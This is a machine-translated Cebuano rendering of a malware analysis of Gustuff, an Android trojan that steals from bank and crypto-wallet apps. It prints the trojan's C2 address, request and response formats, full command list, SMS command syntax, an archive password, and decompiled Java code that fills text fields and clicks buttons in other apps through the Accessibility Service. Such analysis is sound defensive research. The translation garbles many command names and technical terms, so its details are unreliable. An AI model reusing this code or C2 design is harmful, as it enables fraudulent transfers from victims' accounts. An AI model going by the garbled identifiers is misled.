Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account

Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account

Sa miaging adlaw lang Group-IB gipahibalo mahitungod sa kalihokan sa mobile Android Trojan Gustuff. Eksklusibo kini nga nagtrabaho sa internasyonal nga mga merkado, nag-atake sa mga kliyente sa 100 nga pinakadako nga langyaw nga mga bangko, mga tiggamit sa mobile 32 nga mga pitaka sa crypto, ingon man usab sa dagkong mga kapanguhaan sa e-commerce. Apan ang nag-develop sa Gustuff usa ka cybercriminal nga nagsulti sa Russia ubos sa angga nga Bestoffer. Hangtud bag-o lang, gidayeg niya ang iyang Trojan nga "usa ka seryoso nga produkto alang sa mga tawo nga adunay kahibalo ug kasinatian."

Espesyalista sa pagtuki sa malisyoso nga code sa Group-IB Ivan Pisarev sa iyang panukiduki, siya naghisgot sa detalye kon sa unsang paagi si Gustuff nagtrabaho ug unsa ang mga kapeligrohan niini.

Kinsa ang gipangita ni Gustuff?

Ang Gustuff nahisakop sa usa ka bag-ong henerasyon sa malware nga adunay bug-os nga awtomatiko nga mga gimbuhaton. Sumala sa developer, ang Trojan nahimong bag-o ug gipaayo nga bersyon sa AndyBot malware, nga sukad Nobyembre 2017 nag-atake sa mga Android phone ug nangawat og kuwarta pinaagi sa phishing nga mga porma sa web nga nagtakuban isip mga mobile application sa iladong internasyonal nga mga bangko ug sistema sa pagbayad. Gi-report ni Bestoffer nga ang presyo sa pag-abang sa Gustuff Bot $800 matag bulan.

Ang pag-analisar sa sample sa Gustuff nagpakita nga ang Trojan posibleng nagpunting sa mga kustomer gamit ang mga mobile application sa pinakadako nga mga bangko, sama sa Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ingon man mga crypto wallet. Bitcoin Wallet, BitPay, Cryptopay, Coinbase, ug uban pa.

Orihinal nga gibuhat ingon nga usa ka klasiko nga banking Trojan, sa kasamtangan nga bersyon Gustuff nga kamahinungdanon gipalapdan ang listahan sa mga potensyal nga mga target alang sa pag-atake. Dugang sa mga aplikasyon sa Android para sa mga bangko, mga kompanya sa fintech ug mga serbisyo sa crypto, ang Gustuff gitumong sa mga tiggamit sa mga aplikasyon sa merkado, mga tindahan sa online, mga sistema sa pagbayad ug mga instant messenger. Sa partikular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ug uban pa.

Entry point: kalkulasyon alang sa mass infection

Ang Gustuff gihulagway pinaagi sa "classic" nga vector sa pagsulod sa mga Android smartphones pinaagi sa mga SMS mail nga adunay mga link sa mga APK. Kung ang usa ka Android device nataptan sa usa ka Trojan sa mando sa server, si Gustuff mahimong mokaylap pa pinaagi sa database sa kontak sa nataptan nga telepono o pinaagi sa database sa server. Ang pag-andar ni Gustuff gidisenyo alang sa mass infection ug maximum capitalization sa negosyo sa mga operators niini - kini adunay talagsaon nga "auto-fill" function ngadto sa lehitimong mobile banking applications ug crypto wallet, nga nagtugot kanimo sa pagpadali ug pagsukod sa pagpangawat sa salapi.

Ang usa ka pagtuon sa Trojan nagpakita nga ang autofill function gipatuman niini gamit ang Accessibility Service, usa ka serbisyo alang sa mga tawo nga adunay mga kakulangan. Si Gustuff dili ang una nga Trojan nga malampuson nga nakalikay sa proteksyon batok sa interaksyon sa mga elemento sa bintana sa ubang mga aplikasyon gamit kini nga serbisyo sa Android. Bisan pa, ang paggamit sa Serbisyo sa Pag-access sa kombinasyon sa usa ka tigpuno sa awto talagsa ra.

Human ma-download sa telepono sa biktima, si Gustuff, gamit ang Accessibility Service, makahimo sa pagpakig-uban sa mga elemento sa bintana sa ubang mga aplikasyon (banking, cryptocurrency, ingon man mga aplikasyon alang sa online shopping, pagmemensahe, ug uban pa), paghimo sa mga aksyon nga gikinahanglan alang sa mga tig-atake. . Pananglitan, sa mando sa server, ang usa ka Trojan mahimong mopilit sa mga buton ug magbag-o sa mga kantidad sa mga natad sa teksto sa mga aplikasyon sa pagbabangko. Ang paggamit sa mekanismo sa Accessibility Service nagtugot sa Trojan sa paglaktaw sa mga mekanismo sa seguridad nga gigamit sa mga bangko sa pag-alkontra sa nangaging henerasyon nga mobile Trojans, ingon man usab sa mga kausaban sa polisiya sa seguridad nga gipatuman sa Google sa bag-ong mga bersyon sa Android OS. Sa ingon, si Gustuff "nahibal-an kung giunsa" pag-disable ang proteksyon sa Google Protect: sumala sa tagsulat, kini nga function molihok sa 70% sa mga kaso.

Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account

Mahimo usab nga ipakita ni Gustuff ang peke nga mga abiso sa PUSH nga adunay mga icon sa lehitimong mga aplikasyon sa mobile. Ang user nag-klik sa PUSH notification ug nakakita sa phishing window nga na-download gikan sa server, diin iyang gisulod ang gihangyo nga bank card o crypto wallet data. Sa laing senaryo sa Gustuff, ang aplikasyon sa ngalan diin gipakita ang PUSH notification giablihan. Sa kini nga kaso, ang malware, sa mando gikan sa server pinaagi sa Serbisyo sa Pag-access, mahimong pun-on ang mga natad sa porma sa aplikasyon sa banking alang sa usa ka malimbong nga transaksyon.

Ang pag-andar ni Gustuff naglakip usab sa pagpadala sa impormasyon mahitungod sa usa ka nataptan nga device ngadto sa server, ang abilidad sa pagbasa/pagpadala sa mga mensahe sa SMS, pagpadala sa mga hangyo sa USSD, paglansad sa SOCKS5 Proxy, pagsunod sa usa ka link, pagpadala sa mga file (lakip ang mga photo scan sa mga dokumento, mga screenshot, mga litrato) ngadto sa server , i-reset ang device ngadto sa factory settings.

Pagtuki sa malware

Sa dili pa mag-instalar og malisyoso nga aplikasyon, ang Android OS magpakita sa user og bintana nga adunay listahan sa mga katungod nga gihangyo ni Gustuff:

Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account
Ang aplikasyon ma-install lamang human makadawat sa pagtugot sa user. Human sa paglansad sa aplikasyon, ang Trojan magpakita sa user og usa ka bintana:

Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account
Pagkahuman niini tangtangon ang icon niini.

Ang Gustuff giputos, sumala sa tagsulat, sa usa ka packer gikan sa FTT. Human sa pagsugod, ang aplikasyon matag karon ug unya makontak sa CnC server aron makadawat og mga sugo. Daghang mga file nga among gisusi migamit ug IP address isip control server 88.99.171[.]105 (human niini atong itudlo kini nga <%CnC%>).

Pagkahuman sa paglansad, ang programa nagsugod sa pagpadala mga mensahe sa server http://<%CnC%>/api/v1/get.php.

Ang tubag gilauman nga JSON sa mosunod nga format:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Matag higayon nga ma-access ang aplikasyon, magpadala kini og impormasyon bahin sa nataptan nga device. Ang format sa mensahe gipakita sa ubos. Kini mao ang bili noting nga ang mga kaumahan bug-os nga, dugang, apps и pagtugot – opsyonal ug ipadala lamang sa kaso sa usa ka hangyo sugo gikan sa CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Pagtipig sa datos sa pag-configure

Gitipigan ni Gustuff ang hinungdanon nga impormasyon sa operasyon sa usa ka gusto nga file. Ang ngalan sa file, ingon man ang mga ngalan sa mga parameter niini, mao ang resulta sa pagkalkulo sa MD5 sum gikan sa string. 15413090667214.6.1<%ngalan%>diin <%ngalan%> — inisyal nga ngalan-bili. Paghubad sa Python sa function sa paghimo sa ngalan:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Sa mosunod atong ipasabot kini nga nameGenerator(input).
Busa ang unang ngalan sa file mao ang: nameGenerator("API_SERVER_LIST"), kini adunay mga kantidad nga adunay mga mosunud nga ngalan:

Variable nga ngalan bili
nameGenerator("API_SERVER_LIST") Naglangkob sa usa ka lista sa mga adres sa CnC sa porma sa usa ka laray.
nameGenerator("API_SERVER_URL") Naglangkob sa CnC nga adres.
nameGenerator("SMS_UPLOAD") Ang bandila gitakda pinaagi sa default. Kung ang bandila gibutang, nagpadala sa mga mensahe sa SMS sa CnC.
nameGenerator("SMS_ROOT_NUMBER") Numero sa telepono diin ipadala ang mga mensahe sa SMS nga nadawat sa nataptan nga aparato. Ang default kay null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Ang bandila gitangtang pinaagi sa default. Kung na-install, kung ang usa ka nataptan nga aparato makadawat usa ka SMS, ipadala kini sa numero sa ugat.
nameGenerator("DEFAULT_APP_SMS") Ang bandila gitangtang pinaagi sa default. Kung kini nga bandila gibutang, ang aplikasyon magproseso sa umaabot nga mga mensahe sa SMS.
nameGenerator("DEFAULT_ADMIN") Ang bandila gitangtang pinaagi sa default. Kung ang bandila gibutang, ang aplikasyon adunay mga katungod sa tagdumala.
nameGenerator("DEFAULT_ACCESSIBILITY") Ang bandila gitangtang pinaagi sa default. Kung ang bandila gibutang, usa ka serbisyo nga naggamit sa Serbisyo sa Pag-access ang nagdagan.
nameGenerator("APPS_CONFIG") Usa ka butang sa JSON nga adunay usa ka lista sa mga aksyon nga kinahanglan buhaton kung ang usa ka panghitabo sa Accessibility nga adunay kalabotan sa usa ka piho nga aplikasyon ma-trigger.
nameGenerator("APPS_INSTALLED") Nagtipig usa ka lista sa mga aplikasyon nga na-install sa aparato.
nameGenerator("IS_FIST_RUN") Ang bandila gi-reset sa unang pagsugod.
nameGenerator("UNIQUE_ID") Naglangkob sa usa ka talagsaon nga identifier. Namugna sa dihang gilusad ang bot sa unang higayon.

Module alang sa pagproseso sa mga sugo gikan sa server

Gitipigan sa aplikasyon ang mga adres sa mga server sa CnC sa porma sa usa ka laray nga gi-encode ni Base85 mga linya. Ang lista sa mga server sa CnC mahimong usbon kung madawat ang angay nga mando, diin ang mga adres itago sa usa ka gusto nga file.

Agig tubag sa hangyo, ang server nagpadala usa ka mando sa aplikasyon. Angay nga hinumdoman nga ang mga mando ug mga parameter gipresentar sa format nga JSON. Ang aplikasyon makaproseso sa mosunod nga mga sugo:

team paghulagway
forwardStart Pagsugod sa pagpadala sa mga mensahe sa SMS nga nadawat sa nataptan nga aparato sa CnC server.
forwardStop Hunonga ang pagpadala sa mga mensahe sa SMS nga nadawat sa nataptan nga device ngadto sa CnC server.
ussdRun Ipatuman ang hangyo sa USSD. Ang numero diin kinahanglan nimo nga maghimo usa ka hangyo sa USSD nahimutang sa JSON field nga "numero".
ipadalaSms Pagpadala usa ka mensahe sa SMS (kung kinahanglan, ang mensahe "gibahin" sa mga bahin). Isip usa ka parametro, ang command nagkuha ug JSON nga butang nga adunay mga field nga "to" - ang destinasyon nga numero ug "body" - ang lawas sa mensahe.
ipadalaSmsAb Ipadala ang mga mensahe sa SMS (kon gikinahanglan, ang mensahe "gibahin" ngadto sa mga bahin) ngadto sa tanan sa listahan sa kontak sa nataptan nga device. Ang agwat tali sa pagpadala sa mga mensahe 10 segundos. Ang lawas sa mensahe anaa sa JSON field "lawas"
sendSmsMass Ipadala ang mga mensahe sa SMS (kon gikinahanglan, ang mensahe "gibahin" ngadto sa mga bahin) ngadto sa mga kontak nga gipiho sa mga parameter sa command. Ang agwat tali sa pagpadala sa mga mensahe 10 segundos. Isip usa ka parametro, ang command nagkinahanglan og JSON array (ang "sms" field), ang mga elemento niini adunay mga field "to" - ang destinasyon nga numero ug "body" - ang lawas sa mensahe.
changeServer Kini nga sugo mahimong makakuha og bili uban sa yawe nga "url" isip parameter - unya ang bot mag-usab sa bili sa nameGenerator("SERVER_URL"), o "array" - unya isulat sa bot ang array ngadto sa nameGenerator ("API_SERVER_LIST") Sa ingon, gibag-o sa aplikasyon ang adres sa mga server sa CnC.
adminNumber Ang sugo gilaraw aron magtrabaho sa usa ka numero sa ugat. Gidawat sa command ang usa ka butang nga JSON nga adunay mga musunud nga parameter: "numero" - usba ang nameGenerator("ROOT_NUMBER") sa nadawat nga kantidad, "resend" - usba ang nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - ipadala sa nameGenerator("ROOT_NUMBER" ) uniqueID.
updateInfo Ipadala ang impormasyon bahin sa nataptan nga device ngadto sa server.
wipeData Ang mando gituyo aron mapapas ang datos sa tiggamit. Depende kung unsa nga ngalan ang aplikasyon gilusad, ang datos mahimong hingpit nga mapapas gamit ang pag-reboot sa aparato (panguna nga tiggamit), o ang datos ra sa gumagamit ang matangtang (secondary user).
medyasPagsugod Ilunsad ang Proxy module. Ang operasyon sa module gihulagway sa usa ka bulag nga seksyon.
medyasStop Hunonga ang Proxy module.
openLink Sunda ang link. Ang link nahimutang sa JSON parameter ubos sa "url" nga yawe. Ang "android.intent.action.VIEW" gigamit sa pag-abli sa link.
uploadAllSms Ipadala ang tanang mensahe sa SMS nga nadawat sa device ngadto sa server.
uploadAllPhotos Ipadala ang mga hulagway gikan sa usa ka nataptan nga device ngadto sa usa ka URL. Ang URL moabut ingon usa ka parameter.
uploadFile Ipadala ang usa ka file sa usa ka URL gikan sa usa ka nataptan nga aparato. Ang URL moabut ingon usa ka parameter.
uploadPhoneNumbers Ipadala ang mga numero sa telepono gikan sa imong listahan sa kontak ngadto sa server. Kung ang usa ka JSON nga butang nga kantidad nga adunay yawe nga "ab" madawat ingon usa ka parameter, ang aplikasyon makadawat usa ka lista sa mga kontak gikan sa libro sa telepono. Kung ang usa ka butang nga JSON nga adunay yawe nga "sms" madawat ingon usa ka parameter, gibasa sa aplikasyon ang lista sa mga kontak gikan sa mga nagpadala sa mga mensahe sa SMS.
changeArchive Ang aplikasyon nag-download sa file gikan sa adres nga moabut ingon usa ka parameter gamit ang "url" nga yawe. Ang na-download nga file gitipigan sa ngalan nga "archive.zip". Ang aplikasyon unya mag-unzip sa file, opsyonal nga gamiton ang archive password "b5jXh37gxgHBrZhQ4j3D". Ang na-unzipped nga mga file gitipigan sa [external storage]/hgps directory. Sa kini nga direktoryo, ang aplikasyon nagtipig sa mga peke nga web (gihulagway sa ubos).
mga aksyon Ang sugo gidesinyo sa pagtrabaho uban sa Action Service, nga gihulagway sa usa ka bulag nga seksyon.
pagsulay Walay gibuhat.
download Ang sugo gituyo aron i-download ang usa ka file gikan sa usa ka hilit nga server ug i-save kini sa direktoryo nga "Mga Pag-download". Ang URL ug ngalan sa file moabut isip usa ka parameter, mga field sa JSON parameter object, matag usa: "url" ug "fileName".
kuhaa Pagtangtang sa usa ka file gikan sa "Downloads" nga direktoryo. Ang ngalan sa file moabut sa usa ka parameter sa JSON nga adunay yawe nga "fileName". Ang standard nga ngalan sa file mao ang "tmp.apk".
pahibalo Ipakita ang usa ka pahibalo nga adunay deskripsyon ug mga teksto sa titulo nga gihubit sa server sa pagdumala.

Format sa Command pahibalo:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Ang pahibalo nga namugna sa file nga giimbestigahan tan-awon parehas sa mga pahibalo nga nahimo sa aplikasyon nga gipiho sa natad app. Kung ang field value openApp — Tinuod, kung giablihan ang usa ka pahibalo, ang aplikasyon nga gipiho sa uma gilusad app. Kung ang field value openApp — Bakak, unya:

  • Nagbukas ang usa ka bintana sa phishing, ang mga sulud niini gi-download gikan sa direktoryo <%external storage%>/hgps/<%filename%>
  • Nagbukas ang usa ka bintana sa phishing, ang mga sulud niini gi-download gikan sa server <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Ang usa ka bintana sa phishing nagbukas, nagtakuban ingon usa ka Google Play Card, nga adunay higayon nga makasulod sa mga detalye sa kard.

Ang aplikasyon nagpadala sa resulta sa bisan unsang sugo sa <%CnC%>set_state.php isip JSON nga butang sa mosunod nga format:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Mga Serbisyo sa Aksyon
Ang listahan sa mga sugo nga naglakip sa mga proseso sa aplikasyon aksyon. Kung madawat ang usa ka mando, ang module sa pagproseso sa command nag-access niini nga serbisyo aron ipatuman ang gipalawig nga mando. Gidawat sa serbisyo ang usa ka butang nga JSON ingon usa ka parameter. Ang serbisyo makahimo sa mosunod nga mga sugo:

1. PARAMS_ACTION — sa dihang nakadawat sa maong sugo, ang serbisyo unang makadawat gikan sa JSON parameter sa bili sa Type key, nga mahimong sama sa mosunod:

  • impormasyon sa serbisyo – ang subcommand makakuha sa bili pinaagi sa yawe gikan sa JSON parameter iapil ang Dili Importante. Kung ang bandila Tinuod, ang aplikasyon nagtakda sa bandila FLAG_ISOLATED_PROCESS sa usa ka serbisyo gamit ang Accessibility Service. Niining paagiha ang serbisyo ilunsad sa usa ka bulag nga proseso.
  • gamut — makadawat ug magpadala sa impormasyon sa server bahin sa bintana nga anaa karon sa focus. Ang aplikasyon makakuha og impormasyon gamit ang AccessibilityNodeInfo nga klase.
  • admin - paghangyo sa mga katungod sa tagdumala.
  • paglangan - suspindihon ang ActionsService alang sa gidaghanon sa milliseconds nga gitakda sa parameter alang sa "data" nga yawe.
  • tamboanan — magpadala usa ka lista sa mga bintana nga makita sa tiggamit.
  • pag-instalar - i-install ang aplikasyon sa nataptan nga aparato. Ang ngalan sa archive package anaa sa "fileName" key. Ang archive mismo nahimutang sa direktoryo sa Downloads.
  • global – ang subcommand gituyo sa pag-navigate gikan sa kasamtangan nga bintana:
    • sa menu sa Quick Settings
    • paatras
    • balay
    • sa mga pahibalo
    • ngadto sa bag-o lang giablihan nga bintana sa mga aplikasyon

  • paglusad - ilunsad ang aplikasyon. Ang ngalan sa aplikasyon moabut ingon usa ka parameter pinaagi sa yawe nga data.
  • tunog — usba ang sound mode ngadto sa hilom.
  • abli — i-on ang backlight sa screen ug keyboard sa hingpit nga kahayag. Ang aplikasyon naghimo niini nga aksyon gamit ang WakeLock, nga nagtino sa string [Application lable]:INFO isip usa ka tag
  • permissionOverlay — ang function wala gipatuman (ang tubag sa command execution kay {"message":"Not support"} or {"message":"low sdk"})
  • lihok — ang function wala gipatuman (ang tubag sa command execution kay {"message":"Not support"}o {"message":"Low API"})
  • Permissions — kini nga sugo gikinahanglan aron mangayo og mga permiso alang sa aplikasyon. Bisan pa, ang function sa pangutana wala gipatuman, mao nga wala’y kahulogan ang mando. Ang lista sa gihangyo nga mga katungod moabut ingon usa ka laray sa JSON nga adunay yawe nga "pagtugot". Standard nga lista:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • bukas - ipakita ang usa ka bintana sa phishing. Depende sa parameter nga gikan sa server, ang aplikasyon mahimong magpakita sa mosunod nga phishing windows:
    • Ipakita ang usa ka bintana sa phishing kansang mga sulud gisulat sa usa ka file sa usa ka direktoryo <%eksternal nga direktoryo%>/hgps/<%param_filename%>. Ang resulta sa interaksyon sa user sa bintana ipadala sa <%CnC%>/records.php
    • Ipakita ang usa ka bintana sa phishing kansang mga sulud na-pre-loaded gikan sa adres <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Ang resulta sa interaksyon sa user sa bintana ipadala sa <%CnC%>/records.php
    • Ipakita ang usa ka bintana sa phishing nga nagtakuban ingon usa ka Google Play Card.

  • Interactive — Ang sugo gidisenyo aron makig-uban sa mga elemento sa bintana sa ubang mga aplikasyon gamit ang AcessibilityService. Usa ka espesyal nga serbisyo ang gipatuman sa programa alang sa interaksyon. Ang aplikasyon nga giimbestigahan mahimong makig-uban sa mga bintana:
    • Aktibo karon. Sa kini nga kaso, ang parameter naglangkob sa id o teksto (ngalan) sa butang nga kinahanglan nimo nga makig-uban.
    • Makita sa user sa panahon nga ang command gipatuman. Gipili sa aplikasyon ang mga bintana pinaagi sa id.

    Nakadawat ug mga butang AccessibilityNodeInfo Alang sa mga elemento sa bintana sa interes, ang aplikasyon, depende sa mga parameter, makahimo sa mosunod nga mga aksyon:

    • focus — ibutang ang focus sa butang.
    • click — pag-klik sa usa ka butang.
    • actionId — pagbuhat ug aksyon pinaagi sa ID.
    • setText — usba ang teksto sa usa ka butang. Ang pagbag-o sa teksto posible sa duha ka paagi: paghimo og aksyon ACTION_SET_TEXT (kung ang bersyon sa Android sa nataptan nga aparato mas bata o katumbas sa LOLLIPOP), o pinaagi sa pagbutang og hilo sa clipboard ug pag-paste niini ngadto sa usa ka butang (alang sa daan nga mga bersyon). Kini nga sugo mahimong gamiton sa pag-usab sa datos sa usa ka banking application.

2. PARAMS_ACTIONS - sama sa PARAMS_ACTION, usa lang ka JSON nga han-ay sa mga sugo ang moabot.

Mopatim-aw nga daghang mga tawo ang interesado kung unsa ang hitsura sa function sa pakigsulti sa mga elemento sa bintana sa laing aplikasyon. Ingon niini kung giunsa kini nga pag-andar gipatuman sa Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Pag-ilis sa teksto nga function:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Sa ingon, sa husto nga pag-configure sa control server, si Gustuff makahimo sa pagpuno sa mga text field sa aplikasyon sa banking ug pag-klik sa mga buton nga gikinahanglan aron makompleto ang transaksyon. Ang Trojan dili gani kinahanglan nga mag-log in sa aplikasyon - igo na nga magpadala usa ka mando aron ipakita ang usa ka pahibalo sa PUSH ug dayon ablihan ang na-install kaniadto nga aplikasyon sa banking. Ang tiggamit magpamatuod sa iyang kaugalingon, pagkahuman mapuno ni Gustuff ang awto.

Module sa pagproseso sa mensahe sa SMS

Ang aplikasyon nag-instalar sa usa ka event handler alang sa nataptan nga device sa pagdawat sa mga mensahe sa SMS. Ang aplikasyon nga gitun-an mahimong makadawat mga mando gikan sa operator, nga moabut sa lawas sa mensahe sa SMS. Ang mga sugo anaa sa pormat:

7!5=<%Base64 gi-encode nga sugo%>

Ang aplikasyon nangita alang sa string sa tanan nga umaabot nga mga mensahe sa SMS 7!5=, sa diha nga ang usa ka hilo namatikdan, kini nag-decode sa pisi gikan sa Base64 sa offset 4 ug nagpatuman sa sugo. Ang mga sugo susama sa mga adunay CnC. Ang resulta sa pagpatuman ipadala sa samang numero diin gikan ang sugo. Format sa tubag:

7*5=<%Base64 encode sa “result_code command”%>

Opsyonal, mahimo ipadala sa aplikasyon ang tanan nga nadawat nga mga mensahe sa numero sa Root. Aron mahimo kini, ang numero sa Root kinahanglan nga itakda sa gusto nga file ug ang bandila sa pag-redirect sa mensahe kinahanglan itakda. Usa ka mensahe sa SMS ang gipadala sa numero sa tig-atake sa format:

<%Gikan sa numero%> - <%Oras, pormat: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Usab, opsyonal, ang aplikasyon makapadala og mga mensahe ngadto sa CnC. Ang mensahe sa SMS gipadala sa server sa JSON format:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Kung ang bandila gibutang nameGenerator("DEFAULT_APP_SMS") - ang aplikasyon mihunong sa pagproseso sa mensahe sa SMS ug gilimpyohan ang lista sa mga umaabot nga mensahe.

Proxy nga module

Ang aplikasyon nga gitun-an naglangkob sa usa ka Backconnect Proxy module (gitawag nga Proxy module), nga adunay lahi nga klase nga naglakip sa static nga mga natad nga adunay configuration. Ang datos sa pag-configure gitipigan sa sample sa tin-aw nga porma:

Giunsa ang pag-skim sa Android Trojan Gustuff sa cream (fiat ug crypto) gikan sa imong mga account

Ang tanan nga mga aksyon nga gihimo sa module sa Proxy na-log in sa mga file. Aron mahimo kini, ang aplikasyon sa External Storage nagmugna og usa ka direktoryo nga gitawag og "mga troso" (ang ProxyConfigClass.logsDir field sa configuration class), diin ang mga log files gitipigan. Ang pag-log mahitabo sa mga file nga adunay mga ngalan:

  1. main.txt – ang buhat sa klase nga gitawag CommandServer naka-log in niini nga file. Sa kung unsa ang mosunod, ang pag-log sa string str niini nga file ipaila nga mainLog(str).
  2. session-<%id%>.txt — kini nga payl nagtipig log data nga nalangkit sa usa ka piho nga proxy session. Sa kung unsa ang mosunod, ang pag-log sa string str niini nga file ipaila nga sessionLog (str).
  3. server.txt - kini nga payl gigamit sa pag-log sa tanan nga datos nga gisulat sa gihulagway sa ibabaw nga mga file.

Format sa datos sa log:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Ang mga eksepsiyon nga mahitabo sa panahon sa operasyon sa Proxy module gi-log usab sa usa ka file. Aron mahimo kini, ang aplikasyon makamugna og JSON nga butang sa mosunod nga format:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Dayon i-convert kini ngadto sa representasyon sa hilo ug i-log kini.

Ang Proxy module gilunsad human makadawat sa katugbang nga sugo. Kung ang usa ka mando sa paglansad sa Proxy module madawat, ang aplikasyon magsugod sa usa ka serbisyo nga gitawag Panguna nga Serbisyo, nga maoy responsable sa pagdumala sa operasyon sa Proxy module - pagsugod ug pagpahunong niini.

Mga yugto sa pagsugod sa serbisyo:

1. Magsugod ug timer nga modagan kausa sa usa ka minuto ug susihon ang kalihokan sa Proxy module. Kon ang module dili aktibo, kini magsugod niini.
Usab kung ang panghitabo na-trigger android.net.conn.CONNECTIVITY_CHANGE Ang Proxy module gilunsad.

2. Ang aplikasyon nagmugna usa ka wake-lock nga adunay parameter PARTIAL_WAKE_LOCK ug gidakop siya. Gipugngan niini ang CPU sa aparato gikan sa pag-adto sa mode sa pagkatulog.

3. Ilunsad ang command processing class sa Proxy module, una nga pag-log sa linya mainLog("pagsugod sa server") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

diin proxy_cnc, command_port ug proxy_port - mga parameter nga nakuha gikan sa configuration sa proxy server.

